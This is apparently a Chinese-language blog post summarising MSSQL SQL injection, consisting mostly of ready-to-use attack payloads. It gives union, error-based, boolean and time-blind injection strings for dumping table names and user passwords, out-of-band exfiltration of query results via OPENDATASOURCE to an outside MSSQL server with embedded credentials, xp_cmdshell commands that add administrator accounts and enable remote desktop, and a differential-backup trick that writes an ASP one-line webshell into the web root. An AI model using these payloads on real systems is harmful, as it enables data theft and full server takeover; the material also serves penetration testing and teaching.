MSSQL SQL隱碼攻擊 總結

FreeKnight發表於2021-11-08

0x00 MSSQL 基礎

MSSQL系統自帶庫和表

  • 系統自帶庫

  • MSSQL安裝後預設帶了6個資料庫,其中4個系統級庫:master,model,tempdb和msdb;2個示例庫:NorthwindTraders和pubs。

** 系統級自帶庫** 功能
master 系統控制資料庫,包含所有配置資訊,使用者登入資訊,當前系統執行情況
model 模板資料庫,資料庫時建立所有資料庫的模板。
tempdb 臨時容器,儲存所有的臨時表,儲存過程和其他程式互動的臨時檔案
msdb 主要為使用者使用,記錄著計劃資訊、事件處理資訊、資料備份、警告以及異常資訊
  • 系統檢視表

  • MSSQL資料庫與MYSQL資料庫一樣,有安裝自帶資料表sysobjects和syscolumns等,我們需要了解

檢視表 功能
sysobjects 記錄了資料庫中所有表,常用欄位為id、name和xtype
syscolumns 記錄了資料庫中所有表的欄位,常用欄位為id、name和xtype
sys.databases SQL Server 中所有的資料庫
sys.sql_logins SQL Server 中所有的登入名
information_schema.tables 當前使用者資料庫的表
information_schema.columns 當前使用者資料庫的列
sys.all_columns 使用者定義和系統物件的所有列的聯合
sys.database_principals 資料庫中每個許可權或列異常許可權
sys.database_files 儲存在資料庫中資料庫檔案

MSSQL許可權控制

  • 伺服器角色

最高伺服器角色 說明
sysadmin 執行 SQL Server中的任何動作
# 我們可以通過語句判斷許可權:
and 1=(select is_srvrolemember('sysadmin'))--+
  • 資料庫角色

最高資料庫角色 說明
db_owner 可以執行資料庫中所有動作的使用者
# 我們可以通過語句判斷許可權:
and 1=(select is_member('db_owner'))--+

MSSQL常用語句

# 建立資料庫
create database [dbname];
create database test;

# 刪除資料庫
drop database [dbname];
drop database test;

# 建立新表
create table table_name (name char(10),age tinyint,sex int);
# 建立新表前要選擇資料庫,預設是master庫 
use test; 
create table admin (users char(255),passwd char(255),sex int);

# 刪除新表
drop table table_name;
drop table dbo.admin;

# 向表中插入資料
insert into table_name (column1,column2) values(value1,value2);
insert into admin (users,passwd,sex) values('admin','admin',1);

# 刪除內容
delete from table_name where column1=value1;
delete from admin where sex=2;

# 更新內容
update table_name set column2=”xxx” where column1=value1;
update admin set users='admintest' where sex=2;

# 查詢內容
select * from table_name where column1=value1;
select passwd from admin where users='admin';

  • 排序&獲取下一條資料

  • MSSQL資料庫中沒有limit排序獲取欄位,但是可以使用top 1來顯示資料中的第一條資料,

  • 使用 <> 來排除已經顯示的資料,獲取下一條資料。

  • 使用not in來排除已經顯示的資料,獲取下一條資料。

# 使用<>獲取資料
id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name<>'id' and name<>'username'--+
# 使用not in獲取資料
id=-2 union select top 1 1,table_name from information_schema.tables where table_name not in(select top 1 table_name from information_schema.tables)--+
id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name not in('id','username')--+

0x01 常用函式總結

名稱 功能
suser_name() 使用者登入名
user_name() 使用者在資料庫中的名字
user 使用者在資料庫中的名字
db_name() 資料庫名
@@version 返回SQL伺服器版本相關資訊
quotename() 在儲存過程中,給列名、表名等加個[]、’’等以保證sql語句能正常執行
WAITFOR DELAY '0:0:n' '時:分:秒',WAITFOR DELAY '0:0:5'表示等待5秒後執行
substring() 擷取字串 substr(字串,開始擷取位置,擷取長度) ,例如substring('abcdef',1,2) 表示從第一位開始,擷取2位,即 'ab'

0x02 常見注入型別

union聯合查詢注入

**1.判斷注入點及型別** 
?id=1' and 1=1--+
?id=1' and 1=2--+
# 那麼此處是字元型注入,需要單引號閉合

**2.判斷欄位數** 
?id=1' order by 3--+
?id=1' order by 4--+

**3.聯合查詢判斷回顯點** 
?id=0' union select 1,2,3--+

**4.獲取當前資料庫名字和版本資訊** 
?id=0' union select 1,db_name(),@@version--+

**5.獲取所有的資料庫名** 
?id=0' union select 1,db_name(),name from master.sys.databases where name not in(select top 1 name 
from master.sys.databases)--+

**6.獲取所有的表名** 
?id=0' union select top 1 1,2,table_name from information_schema.tables where table_name not in
(select top 1 table_name from information_schema.tables)--+

**7.獲取所有的欄位名** 
?id=0' union select top 1 1,2,column_name from information_schema.columns where column_name not in
(select top 1 column_name from information_schema.columns)--+

?id=0' union select top 1 1,2,column_name from information_schema.columns where table_name='users' and 
column_name not in(select top 2 column_name from information_schema.columns where table_name='users')--

**8.獲取users表賬號密碼資訊** 
?id=0' union select top 1 1,username,password from users--+

error 注入

  • MSSQL資料庫是強型別語言資料庫,當型別不一致時將會報錯,配合子查詢即可實現報錯注入。
**1.判斷注入點** 
id=1

**2.判斷是否為MSSQL資料庫** 
# 返回正常為MSSQL
id=1 and exists(select * from sysobjects)
id=1 and exists(select count(*) from sysobjects)

**3.判斷資料庫版本號** 
id=1 and @@version>0--+
# @@version是mssql的全域性變數,@@version>0執行時轉換成數字會報錯,也就將資料庫資訊暴露出來了
# 版本號:nt5.2:2003 nt6.0:2008

**4.獲取當前資料庫名** 
and db_name()>0--+
and 1=db_name()--+
# 報錯注入的原理就是將其他型別的值轉換層int型失敗後就會爆出原來語句執行的結果

**5.判斷當前伺服器擁有的許可權** 
and 1=(select IS_SRVROLEMEMBER('sysadmin'))--+
and 1=(select IS_SRVROLEMEMBER('serveradmin'))--+
and 1=(select IS_SRVROLEMEMBER('setupadmin'))--+
and 1=(select IS_SRVROLEMEMBER('securityadmin'))--+
and 1=(select IS_SRVROLEMEMBER('diskadmin'))--+
and 1=(select IS_SRVROLEMEMBER('bulkadmin'))--+

**6.判斷當前角色是否為DB_OWNER** 
and 1=(select is_member('db_owner'))--+
# db_owner許可權可以通過備份方式向目標網站寫檔案

**7.獲取當前使用者名稱** 
and user_name()>0--+

8,獲取所有資料庫名
and (select name from master.sys.databases where database_id=1)>0--+
# 更改database_id的值來獲取所有的資料庫

**9.獲取資料庫的個數** 
and 1=(select quotename(count(name)) from master.sys.databases)--+
**
10.一次性獲取所有資料庫庫** 
and 1=(select quotename(name) from master.sys.databases for xml path(''))--+

**11.獲取所有的表名** 
# 獲取當前庫第一個表
and 1=(select top 1 table_name from information_schema.tables)--+
# 獲取當前庫第二個表
and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails'))--+
# 獲取當前庫第三個表
and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails','uagents'))--+
# 也可通過更改top 引數獲取表
and 1=(select top 1 table_name from information_schema.tables where table_name not in
(select top 5 table_name from information_schema.tables))--+
# quotename和for xml path('')一次性獲取全部表
and 1=(select quotename(table_name) from information_schema.tables for xml path(''))--+
# quotename()的主要作用就是在儲存過程中,給列名、表名等加個[]、’’等以保證sql語句能正常執行。

**12.獲取欄位名** 
# 通過top 和 not in 獲取欄位
and 1=(select top 1 column_name from information_schema.columns where table_name='users')--+
and 1=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('id','username'))--+
# 通過quotename 和 for xml path('') 獲取欄位
and 1=(select quotename(column_name) from information_schema.columns where table_name='emails' for xml path(''))--+

**13.獲取表中資料** 
and 1=(select quotename(username) from users for xml path(''))--+
and 1=(select quotename(password) from users for xml path(''))--+

bool盲注

**1.** **判斷注入點 ** 
and 1=1 and 1=2 and '1'='1' and '1456'='1456'--+

**2.猜解資料庫個數** 
id=1 and (select count(*) from sys.databases)=7--+        # 存在7個資料庫

**3.猜解資料庫名長度** 
id=1 and len((select top 1 name from sys.databases))=6--+ # 第一個庫名長度為6
id=1 and len(db_name())=4--+                              # 當前資料庫名長度為4

**4.猜解資料庫名** 
id=1 and ascii(substring(db_name(),1,1))=115--+ # 擷取庫名第一個字元的ascii碼為115——s
id=1 and ascii(substring(db_name(),2,1))=113--+ # 擷取庫名第二個字元的ascii碼為113——q
# 擷取第一個庫名第一個字元的ascii碼為109——m
id=1 and ascii(substring((select top 1 name from sys.databases),1,1))=109--+
# 擷取第二個庫名第一個字元的ascii碼為105——i
id=1 and ascii(substring((select top 1 name from sys.databases where name not in ('master')),1,1))=105--+ 

**5.猜解表名** 
# 擷取當前庫的第一個表的第一個字元的ascii碼為101——e
id=1 and ascii(substring((select top 1 table_name from information_schema.tables),1,1))=101--+ 
# 擷取當前庫的第二個表的第一個字元的ascii碼為117——u
id=1 and ascii(substring((select top 1 table_name from information_schema.tables where table_name not in ('emails')),1,1))=117--+

**6.猜解欄位名 ** 
# 擷取當前庫的emails表的第一個字元的ascii碼為105——i
id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),1,1))=105--+
#擷取當前庫的emails表的第二個字元的ascii碼為100——d 
id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),2,1))=100--+ 

**7.猜解表中資料** 
# username欄位的資料第一個字元為D
id=1 and ascii(substring((select top 1 username from users),1,1))=68--+


time 盲注

**1.判斷是否存在注入** 
id=1 WAITFOR DELAY '0:0:5'--+

**2.判斷許可權** 
# 如果是sysadmin許可權,則延時5秒
id=1 if(select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--+

**3.查詢當前資料庫的長度和名字** 
# 二分法查詢長度
id=1 if(len(db_name()))>40 WAITFOR DELAY '0:0:5'--+
# 查詢資料庫名字
# substring擷取字串的位置,用ascii轉為數字進行二分法查詢
id=1 if(ascii(substring(db_name(),1,1)))>50 WAITFOR DELAY '0:0:5'--+

**4.查詢資料庫的版本** 
id=1 if(ascii(substring((select @@version),1,1))=77 WAITFOR DELAY '0:0:5'--+ # ascii 77 = M

**5.查詢表個數** 
id=1 if((select count(*) from SysObjects where xtype='u')>5) WAITFOR DELAY '0:0:5'--+
# 當前資料庫表的個數為6

**6.查詢第一個表的長度** 
# 查詢第一個表
id=1 and select top 1 name from SysObjects where xtype='u' 
# 查詢結果為1
(select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u')
# 利用and,進行判斷,9為表長度的猜測
and len(name)=9
# 第一個表名長度為6
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=9)=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=6)=1) WAITFOR DELAY '0:0:10'--+

**7.查詢第一個表的表名** 
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))>90)=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))=101)=1) WAITFOR DELAY '0:0:5'--+

**8.查詢第二個表的長度** 
# 查詢第一個表名,去除emails, emails為第一個表名
select top 1 name from SysObjects where xtype='u' and name not in ('emails')
# 同理,第三個表則 and name not in ('emails','uagents')
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emials')) and len(name)=6)<>0) WAITFOR DELAY '0:0:5'--+

**9.查詢第二個表的名字** 
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=0) WAITFOR DELAY '0:0:5'--+

**10.查詢第一個表中的欄位** 
# and name not in ('')查詢第二個欄位的時候可以直接在其中,排除第一個欄位名
id=1 if((select count(*) from syscolumns where name in (select top 1 name from syscolumns where id = object_id('emails') and name not in ('')) and ascii(substring(name,1,1))=1)!=0) WAITFOR DELAY '0:0:1'--+

**11.查詢欄位型別** 
id=1 if((select count(*) from information_schema.columns where data_type in(select top 1 data_type from information_schema.columns where table_name ='emails') and ascii(substring(data_type,1,1))=116)!=0) WAITFOR DELAY '0:0:5'--+

**12.查詢資料** 
# 查詢所有資料庫
SELECT Name FROM Master..SysDatabases ORDER BY Name
# 查詢存在password欄位的表名
SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password'
id=1 if((select count(*) from sysobjects where name in ((select name from sysobjects where name in (SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password') and ascii(substring(sysobjects.name,1,1))>1)))>0) waitfor delay '0:0:1'--
# 查詢包含pass的欄位名
SELECT top 1 name FROM SysColumns where name like '%pass%'
id=1 if((select count(*) from SysColumns where name in (SELECT top 1 name FROM SysColumns where name like '%pass%' and ascii(substring(name,1,1))>1))>0) waitfor delay '0:0:1'--

反彈注入

  • 就像在Mysql中可以通過dnslog外帶,Oracle可以通過python搭建一個http伺服器接收外帶的資料一樣,在MSSQL資料庫中,我們同樣有方法進行資料外帶,那就是通過反彈注入外帶資料。

  • 反彈注入條件相對苛刻一些,一是需要一臺搭建了mssql資料庫的vps伺服器,二是需要開啟堆疊注入。

  • 反彈注入需要使用opendatasource函式。

OPENDATASOURCE函式

  • OPENDATASOURCE(provider_name,init_string)

  • 使用opendatasource函式將當前資料庫查詢的結果傳送到另一資料庫伺服器中。

反彈注入一般流程

  1. 連線vps的mssql資料庫,新建表test,欄位數與型別要與要查詢的資料相同。這裡因為我想查詢的是資料庫庫名,所以新建一個表裡面只有一個欄位,型別為varchar。
CREATE TABLE test(name VARCHAR(255))
  1. 獲取資料庫所有表

使用反彈注入將資料注入到表中,注意這裡填寫的是資料庫對應的引數,最後通過空格隔開要查詢的資料。

# 查詢sysobjects表
?id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select namefrom dbo.sysobjects where xtype='U' --+

# 查詢information_schema資料庫
?id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test selecttable_name from information_schema.tables--+ 

在資料庫成功獲取資料

  1. 獲取資料庫admin表中的所有列名
# 查詢information_schema資料庫
id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test selectcolumn_name from information_schema.columns where table_name='admin'--+

# 查詢syscolumns表
id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select namefrom dbo.syscolumns where id=1977058079--+

  1. 獲取資料

  2. 首先新建一個表,裡面放三個欄位,分別是id,username和passwd。

CREATE TABLE data(id INT,username VARCHAR(255),passwd VARCHAR(255))
  1. 獲取admin表中的資料
id=1;insert intoopendatasource('sqloledb','[server=SQL5095.site4now.net](http://server=SQL5095.site4now.net),1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.data selectid,username,passwd from admin--+

0x03擴充套件儲存過程

在SQL隱碼攻擊過程中,最常利用到的擴充套件儲存

擴充套件儲存過程 說明
xp_cmdshell 直接執行系統命令
xp_regread 進行登錄檔讀取
xp_regwrite 寫入到登錄檔
xp_dirtree 進行列目錄操作
xp_ntsec_enumdomains 檢視domain資訊
xp_subdirs 通過xp_dirtree,xp_subdirs將在一個給定的資料夾中顯示所有子資料夾

xp_cmdshell詳細使用方法

xp_cmdshell預設在** mssql2000中是開啟** 的,在mssql2005之後的版本中則預設禁止 。如果使用者擁有管理員sysadmin 許可權則可以用** sp_configure重新開啟** 它

execute('sp_configure "show advanced options",1')  # 將該選項的值設定為1
execute('reconfigure')                             # 儲存設定
execute('sp_configure "xp_cmdshell", 1')           # 將xp_cmdshell的值設定為1
execute('reconfigure')                             # 儲存設定
execute('sp_configure')                            # 檢視配置
execute('xp_cmdshell "whoami"')                    # 執行系統命令

exec sp_configure 'show advanced options',1;       # 將該選項的值設定為1
reconfigure;                                       # 儲存設定
exec sp_configure 'xp_cmdshell',1;                 # 將xp_cmdshell的值設定為1
reconfigure;                                       # 儲存設定
exec sp_configure;                                 # 檢視配置
exec xp_cmdshell 'whoami';                         # 執行系統命令

# 可以執行系統許可權之後,前提是獲取的主機許可權是administrators組裡的或者system許可權
exec xp_cmdshell 'net user Guest 123456'           # 給guest使用者設定密碼
exec xp_cmdshell 'net user Guest /active:yes'      # 啟用guest使用者
exec xp_cmdshell 'net localgroup administrators Guest /add'  # 將guest使用者新增到administrators使用者組
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'  # 開啟3389埠

0x04擴充套件儲存getshell

  • 條件
  1. 資料庫是 db_owner 許可權

  2. 擴充套件儲存必須開啟,涉及到的的擴充套件儲存過程: xp_cmdshell、 xp_dirtree、 xp_subdirs、 xp_regread

**1.檢視是否禁用擴充套件儲存過程xp_cmdshell** 
id=0 union select 1,2,count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'--+
id=1 and 1=(select count(*) from master.sys.sysobjects where name='xp_cmdshell')--+

**2.執行命令** 
id=1;exec master.sys.xp_cmdshell 'net user admin Admin@123 /add'--+
id=1;exec master.sys.xp_cmdshell 'net localgroup administrators admin /add'--+

0x05差異備份getshell

差異備份簡介

  • 差異備份資料庫得到webshell。在sqlserver裡dbo和sa許可權都有備份資料庫許可權,我們可以把資料庫備份稱asp檔案,這樣我們就可以通過mssqlserver的備份資料庫功能生成一個網頁小馬。

差異備份的大概流程

**1.完整備份一次(儲存位置當然可以改)** 
backup database 庫名 to disk = 'c:\ddd.bak';--+

**2.建立表並插入資料** 
create table [dbo].[dtest] ([cmd] [image]);--+
insert into dtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);--+

**3.進行差異備份** 
backup database 庫名 to disk='c:\interub\wwwroot\shell.asp' WITH DIFFERENTIAL,FORMAT;--+

# 上面0x3C25657865637574652872657175657374282261222929253E即一句話木馬的內容:<%execute(request("a"))%>

測試案例

  • 測試例子中我目標網站的絕對路徑是E:\wwwroot\asp_sqli,資料庫名是asp_test
  1. 完整備份一次
id=1;backup%20database%20asp_test%20to%20disk%20=%27E:\wwwroot\asp_sqli\ddd.bak%27;--+

  1. 建立表並插入資料
id=1;create%20table%20[dbo].[dtest]%20([cmd][image]);--+
id=1;insert%20into%20dtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);--+

  1. 進行差異備份
id=1;backup%20database%20asp_test%20to%20disk=%27E:\wwwroot\asp_sqli\d.asp%27%20WITH%20DIFFERENTIAL,FORMAT;--

相關文章